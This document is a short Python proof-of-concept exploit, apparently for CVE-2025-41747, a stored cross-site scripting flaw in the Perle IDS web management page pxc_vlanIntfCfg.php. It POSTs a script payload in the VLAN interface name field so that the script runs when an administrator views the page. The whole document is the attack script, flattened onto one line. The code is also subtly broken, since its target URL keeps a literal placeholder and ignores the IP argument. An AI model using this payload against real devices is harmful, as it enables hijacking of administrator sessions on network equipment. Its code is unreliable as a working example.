CVE-2025-41747: Perle IDS/WBM管理界面pxc_vlanIntfCfg.php存储型XSS漏洞

import requests import sys # CVE-2025-41747 PoC - Stored XSS in pxc_vlanIntfCfg.php # Target: Perle IDS WBM (Web Based Management) TARGET_URL = "http://<target-ip>/pxc_vlanIntfCfg.php" XSS_PAYLOAD = '<script>alert("XSS")</script>' def exploit(target_ip): """ Exploit for CVE-2025-41747: Stored XSS in VLAN interface configuration This PoC demonstrates how an unauthenticated attacker can inject XSS payload through the VLAN interface configuration parameter. """ headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Malicious POST data with XSS payload in VLAN interface parameter data = { 'vlanIntfName': XSS_PAYLOAD, 'vlanId': '100', 'action': 'save' } try: response = requests.post(TARGET_URL, data=data, headers=headers, timeout=10) print(f'[+] Payload sent to {target_ip}') print(f'[+] Status code: {response.status_code}') print('[+] XSS payload injected in VLAN interface configuration') print('[+] When admin visits the page, the script will execute') except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') if __name__ == '__main__': if len(sys.argv) != 2: print(f'Usage: python {sys.argv[0]} <target-ip>') sys.exit(1) exploit(sys.argv[1])